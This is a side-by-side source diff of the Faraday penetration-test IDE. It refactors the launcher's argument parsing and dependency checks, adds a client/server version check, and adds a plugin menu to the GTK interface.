99 | server.utils.logger.set_logging_level(server.config.DEBUG) | |
20 | 100 | |
21 | 101 | if args.stop: |
22 | 102 | sys.exit(0 if stop_server() else 1) |
23 | 103 | |
24 | if not args.no_setup: | |
25 | setup_environment() | |
26 | import_workspaces() | |
27 | ||
28 | 104 | if is_server_running(): |
29 | 105 | sys.exit(1) |
30 | 106 | |
31 | if args.debug: | |
32 | server.utils.logger.set_logging_level(server.config.DEBUG) | |
107 | # Overwrites config option if SSL is set by argument | |
108 | if args.ssl: | |
109 | server.config.ssl.set('enabled', 'true') | |
110 | ||
111 | if not args.no_setup: | |
112 | setup_environment(not args.nodeps) | |
113 | import_workspaces() | |
33 | 114 | |
34 | 115 | if args.start: |
35 | 116 | # Starts a new process on background with --ignore-setup |
43 | 124 | else: |
44 | 125 | run_server(args) |
45 | 126 | |
46 | def parse_arguments(): | |
47 | parser = argparse.ArgumentParser() | |
48 | parser.add_argument('--ssl', action='store_true', help='enable HTTPS') | |
49 | parser.add_argument('--debug', action='store_true', help='run Faraday Server in debug mode') | |
50 | parser.add_argument('--start', action='store_true', help='run Faraday Server in background') | |
51 | parser.add_argument('--stop', action='store_true', help='stop Faraday Server') | |
52 | parser.add_argument('--no-setup', action='store_true', help=argparse.SUPPRESS) | |
53 | return parser.parse_args() | |
54 | ||
55 | def setup_environment(): | |
56 | # Configuration files generation | |
57 | server.config.copy_default_config_to_local() | |
58 | ||
59 | # Dependencies installation | |
60 | missing_packages = check_dependencies() | |
61 | if len(missing_packages) > 0: | |
62 | install_packages(missing_packages) | |
63 | ||
64 | # Web configuration file generation | |
65 | server.config.gen_web_config() | |
66 | ||
67 | # Reports DB creation | |
68 | server.couchdb.push_reports() | |
69 | ||
70 | def check_dependencies(): | |
71 | checker = DependencyChecker(server.config.REQUIREMENTS_FILE) | |
72 | missing = checker.check_dependencies() | |
73 | return missing | |
74 | ||
75 | def install_packages(packages): | |
76 | if ask_to_install(packages): | |
77 | logger.info("Dependencies installed. Please launch Faraday Server again") | |
78 | sys.exit(0) | |
79 | else: | |
80 | logger.error("Dependencies not met") | |
81 | sys.exit(1) | |
82 | ||
83 | def ask_to_install(missing_packages): | |
84 | logger.warning("The following packages are not installed:") | |
85 | for package in missing_packages: | |
86 | logger.warning("%s" % package) | |
87 | ||
88 | if query_yes_no("Do you want to install them?", default="no"): | |
89 | checker = DependencyChecker(server.config.REQUIREMENTS_FILE) | |
90 | checker.install_packages(missing_packages) | |
91 | return True | |
92 | ||
93 | return False | |
94 | ||
95 | def import_workspaces(): | |
96 | import server.importer | |
97 | server.importer.import_workspaces() | |
98 | ||
99 | def stop_server(): | |
100 | if not daemonize.stop_server(): | |
101 | # Exists with an error if it couldn't close the server | |
102 | return False | |
103 | else: | |
104 | logger.info("Faraday Server stopped successfully") | |
105 | return True | |
106 | ||
107 | def is_server_running(): | |
108 | pid = daemonize.is_server_running() | |
109 | if pid is not None: | |
110 | logger.error("Faraday Server is already running. PID: {}".format(pid)) | |
111 | return True | |
112 | else: | |
113 | return False | |
114 | ||
115 | def run_server(args): | |
116 | import server.database | |
117 | import server.app | |
118 | import server.web | |
119 | ||
120 | server.database.initialize() | |
121 | server.app.setup() | |
122 | web_server = server.web.WebServer(enable_ssl=args.ssl) | |
123 | ||
124 | daemonize.create_pid_file() | |
125 | logger.info('Faraday Server is ready') | |
126 | web_server.run() | |
127 | 127 | |
128 | 128 | if __name__ == '__main__': |
129 | 129 | main() |
130 |
10 | 10 | # - Additionally parse arguments from file. |
11 | 11 | |
12 | 12 | |
13 | import argparse | |
13 | 14 | import os |
15 | import shutil | |
14 | 16 | import sys |
15 | import shutil | |
16 | import argparse | |
17 | import platform | |
18 | import subprocess | |
19 | import json | |
20 | ||
21 | from utils.logs import getLogger, setUpLogger | |
17 | ||
22 | 18 | from config.configuration import getInstanceConfiguration |
23 | 19 | from config.globals import * |
20 | from utils import dependencies | |
21 | from utils.logs import getLogger, setUpLogger | |
24 | 22 | from utils.profilehooks import profile |
25 | 23 | from utils.user_input import query_yes_no |
26 | 24 | |
25 | from persistence.server import server | |
27 | 26 | |
28 | 27 | USER_HOME = os.path.expanduser(CONST_USER_HOME) |
29 | 28 | FARADAY_BASE = os.path.dirname(os.path.realpath(__file__)) |
30 | 29 | |
31 | 30 | FARADAY_USER_HOME = os.path.expanduser(CONST_FARADAY_HOME_PATH) |
32 | 31 | |
33 | FARADAY_PLUGINS_PATH = os.path.join(FARADAY_USER_HOME, | |
34 | CONST_FARADAY_PLUGINS_PATH) | |
35 | ||
36 | FARADAY_PLUGINS_BASEPATH = os.path.join(FARADAY_BASE, | |
37 | CONST_FARADAY_PLUGINS_REPO_PATH) | |
38 | ||
39 | FARADAY_BASE_IMAGES = os.path.join(FARADAY_BASE, "data", | |
40 | CONST_FARADAY_IMAGES) | |
41 | ||
42 | FARADAY_USER_CONFIG_XML = os.path.join(FARADAY_USER_HOME, | |
43 | CONST_FARADAY_USER_CFG) | |
44 | ||
45 | FARADAY_BASE_CONFIG_XML = os.path.join(FARADAY_BASE, | |
46 | CONST_FARADAY_BASE_CFG) | |
32 | FARADAY_PLUGINS_PATH = os.path.join(FARADAY_USER_HOME, CONST_FARADAY_PLUGINS_PATH) | |
33 | ||
34 | FARADAY_PLUGINS_BASEPATH = os.path.join(FARADAY_BASE, CONST_FARADAY_PLUGINS_REPO_PATH) | |
35 | ||
36 | FARADAY_BASE_IMAGES = os.path.join(FARADAY_BASE, "data", CONST_FARADAY_IMAGES) | |
37 | ||
38 | FARADAY_USER_CONFIG_XML = os.path.join(FARADAY_USER_HOME, CONST_FARADAY_USER_CFG) | |
39 | ||
40 | FARADAY_BASE_CONFIG_XML = os.path.join(FARADAY_BASE, CONST_FARADAY_BASE_CFG) | |
47 | 41 | |
48 | 42 | USER_ZSHRC = os.path.expanduser(CONST_USER_ZSHRC) |
49 | 43 | |
50 | FARADAY_USER_IMAGES = os.path.join(FARADAY_USER_HOME, | |
51 | CONST_FARADAY_IMAGES) | |
44 | FARADAY_USER_IMAGES = os.path.join(FARADAY_USER_HOME, CONST_FARADAY_IMAGES) | |
52 | 45 | |
53 | 46 | FARADAY_USER_ZSHRC = os.path.join(FARADAY_USER_HOME, CONST_FARADAY_ZSHRC) |
54 | 47 | FARADAY_USER_ZSH_PATH = os.path.join(FARADAY_USER_HOME, CONST_ZSH_PATH) |
75 | 68 | parser_connection = parser.add_argument_group('connection') |
76 | 69 | parser_profile = parser.add_argument_group('profiling') |
77 | 70 | |
78 | parser_connection.add_argument('-n', '--hostname', action="store", | |
79 | dest="host", | |
80 | default=None, | |
81 | help="The hostname where both server APIs will listen (XMLRPC and RESTful). \ | |
82 | Default = localhost") | |
83 | ||
84 | parser_connection.add_argument('-px', '--port-xmlrpc', action="store", dest="port_xmlrpc", default=None, type=int, | |
85 | help="Sets the port where the api XMLRPCServer will listen. Default = 9876") | |
86 | parser_connection.add_argument('-pr', '--port-rest', action="store", dest="port_rest", | |
87 | default=None, type=int, | |
88 | help="Sets the port where the api RESTful server will listen. Default = 9977") | |
89 | ||
90 | parser.add_argument('-d', '--debug', action="store_true", dest="debug", | |
91 | default=False, | |
92 | help="Enables debug mode. Default = disabled") | |
71 | parser_connection.add_argument('-n', '--hostname', | |
72 | action="store", | |
73 | dest="host", | |
74 | default=None, | |
75 | help="The hostname where both server APIs will listen (XMLRPC and RESTful). Default = localhost") | |
76 | ||
77 | parser_connection.add_argument('-px', | |
78 | '--port-xmlrpc', | |
79 | action="store", | |
80 | dest="port_xmlrpc", | |
81 | default=None, | |
82 | type=int, | |
83 | help="Sets the port where the api XMLRPCServer will listen. Default = 9876") | |
84 | ||
85 | parser_connection.add_argument('-pr', | |
86 | '--port-rest', | |
87 | action="store", | |
88 | dest="port_rest", | |
89 | default=None, | |
90 | type=int, | |
91 | help="Sets the port where the api RESTful server will listen. Default = 9977") | |
93 | 92 | |
94 | 93 | parser_profile.add_argument('--profile', action="store_true", |
95 | dest="profile", | |
96 | default=False, | |
97 | help="Enables application profiling. When this option is used \ | |
98 | --profile-output and --profile-depth can also be used. \ | |
99 | Default = disabled") | |
100 | ||
101 | parser_profile.add_argument('--profile-output', action="store", | |
102 | dest="profile_output", | |
103 | default=None, | |
104 | help="Sets the profile output filename. If no value is provided, \ | |
105 | standard output will be used") | |
106 | ||
107 | parser_profile.add_argument('--profile-depth', action="store", | |
108 | dest="profile_depth", type=int, | |
109 | default=500, | |
110 | help="Sets the profile number of entries (depth). Default = 500") | |
111 | ||
112 | parser.add_argument('--disable-excepthook', action="store_true", | |
113 | dest="disable_excepthook", | |
114 | default=False, | |
115 | help="Disable the application exception hook that allows to send error \ | |
116 | reports to developers.") | |
117 | ||
118 | parser.add_argument('--dev-mode', action="store_true", dest="dev_mode", | |
119 | default=False, | |
120 | help="Enable dev mode. This will use the user config and plugin folder.") | |
121 | ||
122 | parser.add_argument('--ignore-deps', action="store_true", | |
123 | dest="ignore_deps", | |
124 | default=False, | |
125 | help="Ignore python dependencies resolution.") | |
126 | ||
127 | parser.add_argument('--update', action="store_true", dest="update", | |
128 | default=False, | |
129 | help="Update Faraday IDE.") | |
130 | ||
131 | parser.add_argument('--cert', action="store", dest="cert_path", | |
132 | default=None, | |
133 | help="Path to the valid CouchDB certificate") | |
134 | ||
135 | parser.add_argument('--gui', action="store", dest="gui", | |
136 | default="gtk", | |
137 | help="Select interface to start faraday. Supported values are " | |
138 | "gtk and 'no' (no GUI at all). Defaults to GTK") | |
139 | ||
140 | parser.add_argument('--cli', action="store_true", | |
141 | dest="cli", | |
142 | default=False, | |
143 | help="Set this flag to avoid gui and use faraday as a cli.") | |
144 | ||
145 | parser.add_argument( | |
146 | '-w', '--workspace', action="store", | |
147 | dest="workspace", | |
148 | default=None, | |
149 | help="Workspace to be opened") | |
150 | ||
151 | parser.add_argument( | |
152 | '-r', '--report', action="store", | |
153 | dest="filename", | |
154 | default=None, | |
155 | help="Report to be parsed by the cli") | |
156 | ||
157 | #args = parser.parse_args(['@parser_args.cfg']) | |
94 | dest="profile", | |
95 | default=False, | |
96 | help="Enables application profiling. When this option is used --profile-output and --profile-depth can also be used. Default = disabled") | |
97 | ||
98 | parser_profile.add_argument('--profile-output', | |
99 | action="store", | |
100 | dest="profile_output", | |
101 | default=None, | |
102 | help="Sets the profile output filename. If no value is provided, standard output will be used") | |
103 | ||
104 | parser_profile.add_argument('--profile-depth', | |
105 | action="store", | |
106 | dest="profile_depth", | |
107 | type=int, | |
108 | default=500, | |
109 | help="Sets the profile number of entries (depth). Default = 500") | |
110 | ||
111 | parser.add_argument('--disable-excepthook', | |
112 | action="store_true", | |
113 | dest="disable_excepthook", | |
114 | default=False, | |
115 | help="Disable the application exception hook that allows to send error reports to developers.") | |
116 | ||
117 | parser.add_argument('--dev-mode', | |
118 | action="store_true", | |
119 | dest="dev_mode", | |
120 | default=False, | |
121 | help="Enable dev mode. This will use the user config and plugin folder.") | |
122 | ||
123 | parser.add_argument('--ignore-deps', | |
124 | action="store_true", | |
125 | dest="ignore_deps", | |
126 | default=False, | |
127 | help="Ignore python dependencies resolution.") | |
128 | ||
129 | parser.add_argument('--update', | |
130 | action="store_true", | |
131 | dest="update", | |
132 | default=False, | |
133 | help="Update Faraday IDE.") | |
134 | ||
135 | parser.add_argument('--cert', | |
136 | action="store", | |
137 | dest="cert_path", | |
138 | default=None, | |
139 | help="Path to the valid CouchDB certificate") | |
140 | ||
141 | parser.add_argument('--gui', | |
142 | action="store", | |
143 | dest="gui", | |
144 | default="gtk", | |
145 | help="Select interface to start faraday. Supported values are gtk and 'no' (no GUI at all). Defaults to GTK") | |
146 | ||
147 | parser.add_argument('--cli', | |
148 | action="store_true", | |
149 | dest="cli", | |
150 | default=False, | |
151 | help="Set this flag to avoid gui and use faraday as a cli.") | |
152 | ||
153 | parser.add_argument('-w', | |
154 | '--workspace', | |
155 | action="store", | |
156 | dest="workspace", | |
157 | default=None, | |
158 | help="Workspace to be opened") | |
159 | ||
160 | parser.add_argument('-r', | |
161 | '--report', | |
162 | action="store", | |
163 | dest="filename", | |
164 | default=None, | |
165 | help="Report to be parsed by the cli") | |
166 | ||
167 | parser.add_argument('-d', | |
168 | '--debug', | |
169 | action="store_true", | |
170 | default=False, | |
171 | help="Enables debug mode. Default = disabled") | |
172 | ||
173 | parser.add_argument('--nodeps', action='store_true', help='Skip dependency check') | |
174 | ||
175 | # args = parser.parse_args(['@parser_args.cfg']) | |
158 | 176 | return parser.parse_args() |
159 | 177 | |
160 | 178 | |
161 | def query_user_bool(question, default=True): | |
162 | """Returns a boolean based on user input. | |
163 | ||
164 | "question" is a string that is presented to the user. | |
165 | "default" is the presumed answer if the user just hits <Enter>. | |
166 | It must be True (the default), False or None (meaning | |
167 | an answer is required of the user). | |
168 | ||
169 | The "answer" return value is one of True or False. | |
170 | ||
171 | """ | |
172 | ||
173 | valid_yes_ans = ["yes", "y"] | |
174 | valid_no_ans = ["no", "n"] | |
175 | ||
176 | if default is None: | |
177 | prompt = " [y/n] " | |
178 | elif default: | |
179 | prompt = " [Y/n] " | |
180 | else: | |
181 | prompt = " [y/N] " | |
182 | ||
183 | while True: | |
184 | sys.stdout.write(question + prompt) | |
185 | choice = raw_input().lower() | |
186 | ||
187 | if default is not None and choice == '': | |
188 | return default | |
189 | ||
190 | if choice in valid_yes_ans: | |
191 | return True | |
192 | ||
193 | if choice in valid_no_ans: | |
194 | return False | |
195 | ||
196 | sys.stdout.write("Please respond with 'yes' or 'no' " | |
197 | "(or 'y' or 'n').\n") | |
198 | ||
199 | ||
200 | def checkDependencies(): | |
179 | def check_dependencies_or_exit(): | |
201 | 180 | """Dependency resolver based on a previously specified CONST_REQUIREMENTS_FILE. |
202 | 181 | |
203 | Currently checks a list of dependencies from a file and asks for user | |
204 | confirmation on whether to install it with a specific version or not. | |
205 | ||
206 | """ | |
207 | ||
208 | if not args.ignore_deps: | |
209 | try: | |
210 | import pip | |
211 | modules = [] | |
212 | f = open(FARADAY_REQUIREMENTS_FILE) | |
213 | for line in f: | |
214 | if not line.find('#'): | |
215 | break | |
216 | else: | |
217 | modules.append(line.strip('\n')) | |
218 | f.close() | |
219 | pip_dist = [dist.project_name.lower() for dist in pip.get_installed_distributions()] | |
220 | for module in modules: | |
221 | if module.lower() not in pip_dist: | |
222 | try: | |
223 | __import__(module) | |
224 | except ImportError: | |
225 | if query_user_bool("Missing module %s." | |
226 | " Do you wish to install it?" % module): | |
227 | pip.main(['install', "%s" % | |
228 | module, '--user']) | |
229 | ||
230 | else: | |
231 | return False | |
232 | except ImportError: | |
233 | pass | |
234 | ||
235 | return True | |
182 | Currently checks a list of dependencies from a file and exits if they are not met. | |
183 | ||
184 | """ | |
185 | ||
186 | installed_deps, missing_deps = dependencies.check_dependencies(requirements_file=FARADAY_REQUIREMENTS_FILE) | |
187 | ||
188 | logger.info("Checking dependencies...") | |
189 | ||
190 | if missing_deps: | |
191 | ||
192 | install_deps = query_yes_no("Do you want to install them?", default="no") | |
193 | ||
194 | if install_deps: | |
195 | dependencies.install_packages(missing_deps) | |
196 | logger.info("Dependencies installed. Please launch Faraday Server again.") | |
197 | sys.exit(0) | |
198 | else: | |
199 | logger.error("Dependencies not met. Please refer to the documentation in order to install them. [%s]", | |
200 | ", ".join(missing_deps)) | |
201 | sys.exit(1) | |
202 | ||
203 | logger.info("Dependencies met") | |
236 | 204 | |
237 | 205 | |
238 | 206 | def startProfiler(app, output, depth): |
269 | 237 | |
270 | 238 | host = CONF.getApiConInfoHost() if str(CONF.getApiConInfoHost()) != "None" else FARADAY_DEFAULT_HOST |
271 | 239 | port_xmlrpc = CONF.getApiConInfoPort() if str(CONF.getApiConInfoPort()) != "None" else FARADAY_DEFAULT_PORT_XMLRPC |
272 | port_rest = CONF.getApiRestfulConInfoPort() if str(CONF.getApiRestfulConInfoPort()) != "None" else FARADAY_DEFAULT_PORT_REST | |
240 | port_rest = CONF.getApiRestfulConInfoPort() if str( | |
241 | CONF.getApiRestfulConInfoPort()) != "None" else FARADAY_DEFAULT_PORT_REST | |
273 | 242 | |
274 | 243 | host = args.host if args.host else host |
275 | 244 | port_xmlrpc = args.port_xmlrpc if args.port_xmlrpc else port_xmlrpc |
292 | 261 | from model.application import MainApplication |
293 | 262 | |
294 | 263 | logger.info("All done. Opening environment.") |
295 | #TODO: Handle args in CONF and send only necessary ones. | |
264 | # TODO: Handle args in CONF and send only necessary ones. | |
296 | 265 | |
297 | 266 | main_app = MainApplication(args) |
298 | 267 | |
299 | 268 | if not args.disable_excepthook: |
300 | logger.info("Main application ExceptHook enabled.") | |
301 | main_app.enableExceptHook() | |
269 | logger.info("Main application ExceptHook enabled.") | |
270 | main_app.enableExceptHook() | |
302 | 271 | |
303 | 272 | if args.profile: |
304 | 273 | logger.info("Starting main application with profiler.") |
313 | 282 | couchURL = getInstanceConfiguration().getCouchURI() |
314 | 283 | if couchURL: |
315 | 284 | url = "%s/_ui" % couchURL |
316 | print(Fore.WHITE + Style.BRIGHT + \ | |
317 | "\n*" + string.center("faraday ui is ready", 53 - 6) ) | |
318 | print(Fore.WHITE + Style.BRIGHT + \ | |
319 | """Make sure you got couchdb up and running.\nIf couchdb is up, point your browser to: \n[%s]""" % url) | |
285 | print(Fore.WHITE + Style.BRIGHT + "\n*" + string.center("faraday ui is ready", 53 - 6)) | |
286 | print( | |
287 | Fore.WHITE + Style.BRIGHT + "Make sure you got couchdb up and running.\nIf couchdb is up, point your browser to: \n[%s]" % url) | |
320 | 288 | else: |
321 | print(Fore.WHITE + Style.BRIGHT + \ | |
322 | """Please config Couchdb for fancy HTML5 Dashboard (https://github.com/infobyte/faraday/wiki/Couchdb)""") | |
289 | print( | |
290 | Fore.WHITE + Style.BRIGHT + "Please config Couchdb for fancy HTML5 Dashboard (https://github.com/infobyte/faraday/wiki/Couchdb)") | |
323 | 291 | |
324 | 292 | print(Fore.RESET + Back.RESET + Style.RESET_ALL) |
325 | 293 | |
354 | 322 | |
355 | 323 | shutil.copytree(FARADAY_PLUGINS_BASEPATH, FARADAY_PLUGINS_PATH) |
356 | 324 | |
325 | ||
357 | 326 | def setupZSH(): |
358 | 327 | """Cheks and handles Faraday's integration with ZSH. |
359 | 328 | |
375 | 344 | f.write("source \"%s\"" % FARADAY_BASE_ZSH) |
376 | 345 | shutil.copy(FARADAY_BASE_ZSH, FARADAY_USER_ZSH_PATH) |
377 | 346 | |
347 | ||
378 | 348 | def setupXMLConfig(): |
379 | 349 | """Checks user configuration file status. |
380 | 350 | |
386 | 356 | shutil.copy(FARADAY_BASE_CONFIG_XML, FARADAY_USER_CONFIG_XML) |
387 | 357 | else: |
388 | 358 | logger.info("Using custom user configuration.") |
359 | ||
389 | 360 | |
390 | 361 | def setupImages(): |
391 | 362 | """ Copy png icons |
434 | 405 | os.makedirs(folder) |
435 | 406 | |
436 | 407 | |
437 | ||
438 | 408 | def printBanner(): |
439 | 409 | """Prints Faraday's ascii banner. |
440 | 410 | |
449 | 419 | \/ \/ \/ \/ \/ |
450 | 420 | """) |
451 | 421 | |
452 | print(Fore.WHITE + Back.RED + Style.BRIGHT + \ | |
453 | "[*[ Open Source Penetration Test IDE ]*]") | |
422 | print(Fore.WHITE + Back.RED + Style.BRIGHT + "[*[ Open Source Penetration Test IDE ]*]") | |
454 | 423 | print(Back.RESET + " Where pwnage goes multiplayer") |
455 | 424 | print(Fore.RESET + Back.RESET + Style.RESET_ALL) |
456 | 425 | logger.info("Starting Faraday IDE.") |
467 | 436 | Updater().doUpdates() |
468 | 437 | logger.info("Update process finished with no errors") |
469 | 438 | logger.info("Faraday will start now.") |
439 | ||
470 | 440 | |
471 | 441 | def checkUpdates(): |
472 | 442 | import requests |
505 | 475 | # Non fatal error |
506 | 476 | pass |
507 | 477 | |
478 | ||
508 | 479 | def checkVersion(): |
509 | 480 | try: |
510 | 481 | f = open(FARADAY_VERSION_FILE) |
511 | 482 | f_version = f.read().strip() |
512 | 483 | if not args.update: |
513 | if getInstanceConfiguration().getVersion() != None and getInstanceConfiguration().getVersion() != f_version: | |
484 | if getInstanceConfiguration().getVersion() is not None and getInstanceConfiguration().getVersion() != f_version: | |
514 | 485 | logger.warning("You have different version of Faraday since your last run.\nRun ./faraday.py --update to update configuration!") |
515 | 486 | if query_yes_no('Do you want to close Faraday?', 'yes'): |
516 | 487 | sys.exit(-1) |
519 | 490 | f.close() |
520 | 491 | |
521 | 492 | except Exception as e: |
522 | getLogger("launcher").error("It seems that something's wrong with your version\nPlease contact customer support") | |
493 | getLogger("launcher").error( | |
494 | "It seems that something's wrong with your version\nPlease contact customer support") | |
523 | 495 | sys.exit(-1) |
524 | 496 | |
525 | 497 | |
526 | def init(): | |
527 | """Initializes what is needed before starting. | |
528 | ||
529 | For now we initialize logger and arguments setup. | |
530 | ||
531 | """ | |
532 | ||
533 | global args | |
534 | global logger | |
535 | logger = None | |
498 | def check_faraday_version(): | |
499 | server_info = server.server_info() | |
500 | ||
501 | faraday_directory = os.path.dirname(os.path.realpath('faraday.py')) | |
502 | ||
503 | file_path = os.path.join(faraday_directory, 'VERSION') | |
504 | ||
505 | with open(file_path, 'r') as version_file: | |
506 | version = version_file.read().strip() | |
507 | ||
508 | if server_info is not None and version != server_info['Version']: | |
509 | getLogger("launcher").error("The server is running a different Faraday version than the client " | |
510 | "you are running. Version numbers must much!") | |
511 | ||
512 | sys.exit(2) | |
513 | ||
514 | ||
515 | def main(): | |
516 | """Main. | |
517 | ||
518 | Main function for launcher. | |
519 | ||
520 | """ | |
521 | os.chdir(FARADAY_BASE) | |
522 | ||
523 | global logger, args | |
524 | ||
525 | logger = getLogger("launcher") | |
536 | 526 | |
537 | 527 | args = getParserArgs() |
538 | 528 | setupFolders(CONST_FARADAY_FOLDER_LIST) |
539 | 529 | setUpLogger(args.debug) |
540 | logger = getLogger("launcher") | |
541 | ||
542 | ||
543 | def main(): | |
544 | """Main. | |
545 | ||
546 | Main function for launcher. | |
547 | ||
548 | """ | |
549 | os.chdir(FARADAY_BASE) | |
550 | ||
551 | init() | |
552 | if checkDependencies(): | |
553 | printBanner() | |
554 | logger.info("Dependencies met.") | |
555 | if args.cert_path: | |
556 | os.environ[REQUESTS_CA_BUNDLE_VAR] = args.cert_path | |
557 | checkConfiguration(args.gui) | |
558 | setConf() | |
559 | checkCouchUrl() | |
560 | checkVersion() | |
561 | update() | |
562 | checkUpdates() | |
563 | startFaraday() | |
564 | else: | |
565 | logger.error("Dependencies not met. Unable to start Faraday.") | |
530 | ||
531 | if not args.nodeps: | |
532 | check_dependencies_or_exit() | |
533 | ||
534 | printBanner() | |
535 | if args.cert_path: | |
536 | os.environ[REQUESTS_CA_BUNDLE_VAR] = args.cert_path | |
537 | checkConfiguration(args.gui) | |
538 | setConf() | |
539 | checkCouchUrl() | |
540 | checkVersion() | |
541 | ||
542 | check_faraday_version() | |
543 | ||
544 | update() | |
545 | checkUpdates() | |
546 | startFaraday() | |
566 | 547 | |
567 | 548 | |
568 | 549 | if __name__ == '__main__': |
6 | 6 | |
7 | 7 | ''' |
8 | 8 | |
9 | import os, sys, threading, webbrowser, time | |
10 | from utils.logs import getLogger | |
9 | import os | |
10 | import sys | |
11 | import threading | |
12 | import webbrowser | |
11 | 13 | |
12 | 14 | try: |
13 | 15 | import gi |
44 | 46 | from gui.gui_app import FaradayUi |
45 | 47 | from config.configuration import getInstanceConfiguration |
46 | 48 | from utils.logs import getLogger |
47 | from persistence.server import models | |
48 | 49 | from appwindow import AppWindow |
49 | 50 | |
50 | 51 | from server import ServerIO |
60 | 61 | from dialogs import ForcePreferenceWindowDialog |
61 | 62 | from dialogs import errorDialog |
62 | 63 | from dialogs import ImportantErrorDialog |
64 | from dialogs import FaradayPluginsDialog | |
63 | 65 | |
64 | 66 | from mainwidgets import Sidebar |
65 | 67 | from mainwidgets import WorkspaceSidebar |
71 | 73 | from gui.loghandler import GUIHandler |
72 | 74 | from utils.logs import addHandler |
73 | 75 | from utils.common import checkSSL |
76 | ||
77 | from plugins import fplugin_utils | |
74 | 78 | |
75 | 79 | CONF = getInstanceConfiguration() |
76 | 80 | |
172 | 176 | self.handle_no_active_workspace() |
173 | 177 | |
174 | 178 | def lost_db_connection(self, explanatory_message=None, |
175 | handle_connection_lost=None, | |
176 | connect_to_a_different_couch=None): | |
179 | handle_connection_lost=None, | |
180 | connect_to_a_different_couch=None): | |
177 | 181 | """Creates a simple dialog with an error message to inform the user |
178 | 182 | some kind of problem has happened and the connection was lost. |
179 | 183 | """ |
229 | 233 | we suddenly find our selves without one, force the user |
230 | 234 | to select one if possible, or if not, to create one. |
231 | 235 | """ |
236 | ||
232 | 237 | def change_flag(widget): |
233 | 238 | self.workspace_dialogs_raised = not self.workspace_dialogs_raised |
234 | 239 | |
235 | 240 | if self.workspace_dialogs_raised: |
236 | 241 | return False |
237 | 242 | |
238 | if not self.serverIO.is_server_up(): | |
243 | if self.serverIO.server_info() is None: | |
239 | 244 | # make sure it is not because we're not connected to Couch |
240 | 245 | # there's another whole strategy for that. |
241 | 246 | return False |
256 | 261 | self.createWorkspace, |
257 | 262 | self.workspace_manager, |
258 | 263 | self.ws_sidebar, |
259 | self.exit_faraday_without_confirm) | |
264 | self.exit_faraday) | |
260 | 265 | |
261 | 266 | dialog.connect("destroy", change_flag) |
262 | 267 | dialog.show_all() |
356 | 361 | looking for the host.""" |
357 | 362 | current_ws_name = self.get_active_workspace().name |
358 | 363 | |
359 | #for host in self.model_controller.getAllHosts(): | |
364 | # for host in self.model_controller.getAllHosts(): | |
360 | 365 | host = self.serverIO.get_hosts(couchid=host_id) |
361 | 366 | if not host: |
362 | 367 | self.show_normal_error("The host you clicked isn't accessible. " |
563 | 568 | GObject.idle_add(self.statusbar.update_ws_info, host_count, |
564 | 569 | service_count, vuln_count) |
565 | 570 | |
566 | dispatch = {3131: new_log_event, | |
567 | 3141: new_conflict_event, | |
568 | 5100: new_notification_event, | |
569 | 3140: workspace_changed_event, | |
570 | 3132: normal_error_event, | |
571 | 3134: important_error_event, | |
571 | dispatch = {3131: new_log_event, | |
572 | 3141: new_conflict_event, | |
573 | 5100: new_notification_event, | |
574 | 3140: workspace_changed_event, | |
575 | 3132: normal_error_event, | |
576 | 3134: important_error_event, | |
572 | 577 | 42424: lost_connection_to_server_event, |
573 | 578 | 24242: workspace_not_accessible_event, |
574 | 7777: add_object, | |
575 | 8888: delete_object, | |
576 | 9999: update_object} | |
579 | 7777: add_object, | |
580 | 8888: delete_object, | |
581 | 9999: update_object} | |
577 | 582 | |
578 | 583 | function = dispatch.get(event.type()) |
579 | 584 | if function is not None: |
638 | 643 | "quit": self.on_quit, |
639 | 644 | "preferences": self.on_preferences, |
640 | 645 | "pluginOptions": self.on_plugin_options, |
646 | "faradayPlugin": self.on_faraday_plugin, | |
641 | 647 | "new": self.on_new_button, |
642 | 648 | "new_terminal": self.on_new_terminal_button, |
643 | 649 | "open_report": self.on_open_report_button, |
664 | 670 | appmenu = builder.get_object('appmenu') |
665 | 671 | self.set_app_menu(appmenu) |
666 | 672 | |
673 | topmenu = Gio.Menu() | |
674 | pluginmenu = Gio.Menu() | |
675 | ||
676 | topmenu.append('Faraday Plugin...', 'app.faradayPlugin') | |
677 | ||
678 | plugins = fplugin_utils.get_available_plugins() | |
679 | ||
680 | for plugin in sorted(plugins.iterkeys()): | |
681 | gio_action = Gio.SimpleAction.new('fplugin_%s' % plugin, None) | |
682 | gio_action.connect("activate", self.type_faraday_plugin_command) | |
683 | self.add_action(gio_action) | |
684 | ||
685 | item = Gio.MenuItem.new(plugins[plugin]['prettyname'], 'app.fplugin_%s' % plugin) | |
686 | ||
687 | pluginmenu.append_item(item) | |
688 | ||
689 | fmenu = Gio.Menu() | |
690 | ||
691 | fmenu.append_section(None, topmenu) | |
692 | fmenu.append_section(None, pluginmenu) | |
693 | ||
694 | appmenu.insert_submenu(1, "Faraday Plugin", fmenu) | |
695 | ||
667 | 696 | helpMenu = builder.get_object('Help') |
668 | 697 | self.set_menubar(helpMenu) |
669 | 698 | |
697 | 726 | notifier.widget = self.window |
698 | 727 | model.guiapi.notification_center.registerWidget(self.window) |
699 | 728 | |
700 | if not self.serverIO.is_server_up(): | |
729 | if self.serverIO.server_info() is None: | |
701 | 730 | self.lost_db_connection( |
702 | 731 | handle_connection_lost=self.handle_connection_lost, |
703 | 732 | connect_to_a_different_couch=self.force_change_couch_url) |
713 | 742 | """Defines what happens when you press "Plugins" on the menu""" |
714 | 743 | pluginsOption_window = PluginOptionsDialog(self.plugin_manager, |
715 | 744 | self.window) |
745 | pluginsOption_window.show_all() | |
746 | ||
747 | def on_faraday_plugin(self, action, param): | |
748 | """Defines what happens when you press "Faraday Plugin..." on the menu""" | |
749 | pluginsOption_window = FaradayPluginsDialog(self.window.get_current_focused_terminal(), | |
750 | self.get_active_workspace().getName(), | |
751 | self.window) | |
716 | 752 | pluginsOption_window.show_all() |
717 | 753 | |
718 | 754 | def on_new_button(self, action=None, params=None, title=None): |
851 | 887 | |
852 | 888 | def on_help_dispatch(self, action, param=None): |
853 | 889 | """Open the url contained in "action" in the user's browser.""" |
854 | urls = {"go_to_documentation": "https://faradaysec.com/help/docs", | |
890 | urls = {"go_to_documentation": "https://faradaysec.com/help/docs", | |
855 | 891 | "go_to_faq": "https://faradaysec.com/help/faq", |
856 | 892 | "go_to_troubleshooting": "https://faradaysec.com/help/troubleshooting", |
857 | 893 | "go_to_demos": "https://faradaysec.com/help/demos", |
860 | 896 | "go_to_irc": "https://faradaysec.com/help/irc", |
861 | 897 | "go_to_twitter": "https://faradaysec.com/help/twitter", |
862 | 898 | "go_to_googlegroup": "https://faradaysec.com/help/googlegroup" |
863 | } | |
899 | } | |
